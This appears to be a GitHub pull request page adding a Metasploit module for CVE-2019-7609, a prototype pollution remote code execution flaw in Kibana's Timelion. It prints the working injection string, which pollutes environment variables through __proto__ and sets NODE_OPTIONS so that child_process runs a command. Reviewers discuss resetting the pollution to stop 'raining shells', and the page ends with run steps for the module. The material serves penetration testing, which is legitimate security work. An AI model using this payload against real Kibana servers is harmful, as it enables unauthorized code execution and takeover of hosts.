Kibana Timelion Prototype Pollution RCE (CVE-2019-7609) #18316
Merged
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
|
Timelion queries are chained w rst = ".es(*).props(label.__proto__.env.AAAA='').props(label.__proto__.env.NODE_OPTIONS='')"
if reset
pload = rst
else
# we leave a marker for our payload to avoid having .to_json process it and make it unusable by the host OS
pload = %|.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("PAYLOADHERE");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ'),#{rst}|? |
Will give it a try Monday, I dont have any prior experience with Kibana, let alone timeline, so the input is definitely appreciated! |
modules/exploits/linux/http/kibana_timelion_prototype_pollution_rce.rb
Outdated
Show resolved
Hide resolved
Comment on lines
180
to
183
| Rex.sleep(datastore['WFSDELAY'] / 10) | ||
| print_status('Unsetting to stop raining shells from a lacerated kibana') | ||
| send_injection(reset: true) | ||
| trigger_socket |
There was a problem hiding this comment.
Did you try to add a on_new_session method with this code? This method is called when a new session is established. This might be the place to execute this and stop the raining shells. For example, this is untested and probably not working, but just to get the idea:
def on_new_session(_client)
print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
ensure
super
endAnother idea would be to keep the "reset" code in both exploit and on_new_session to make sure the reset is sent even if something went wrong. Maybe an instance variable can be used and set in on_new_session when the reset is done. The code in exploit can check this instance variable and decide to sent the reset request after a certain amount of time.
For example (still untested):
def exploit
...
@reset_done = false
Rex.sleep(datastore['WFSDELAY'] / 10)
unless @reset_done
print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
end
end def on_new_session(_client)
print_status('Unsetting to stop raining shells from a lacerated kibana')
send_injection(reset: true)
trigger_socket
@reset_done = true
ensure
super
endThere is probably a lot of race condition issues here, but you get the idea.
There was a problem hiding this comment.
Oh, it's one big race.... Depending on the speed of the computer, I definitely see more or less shells. A VM will give me 10, an i7 laptop will give me 40. (this is down from 40 and 100).
So I think @sempervictus 's original idea was too fast, it set it and unset before the payload had a chance to trigger. I think unsetting on_new_session is a good idea, but at that point its too late as its kicked off a ton of times. I like the idea of doing the @reset_done checks and trying to fire ASAP, so I'll take that. However, the (good?) problem still exists of many shells.
|
I tested this with the |
Release NotesAdds a module that exploits a prototype pollution vulnerability in the Kibana Timelion visualiser resulting in Remote Code Execution. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
This PR adds a module to exploit CVE-2019-7609, a prototype pollution vulnerability that results in RCE.
Leaving it as draft for now since the cleanup method isn't working right (you don't stop getting shells....)
Verification
use use exploit/linux/http/kibana_timelion_prototype_pollution_rceset rhost [ip]set lhost [ip]run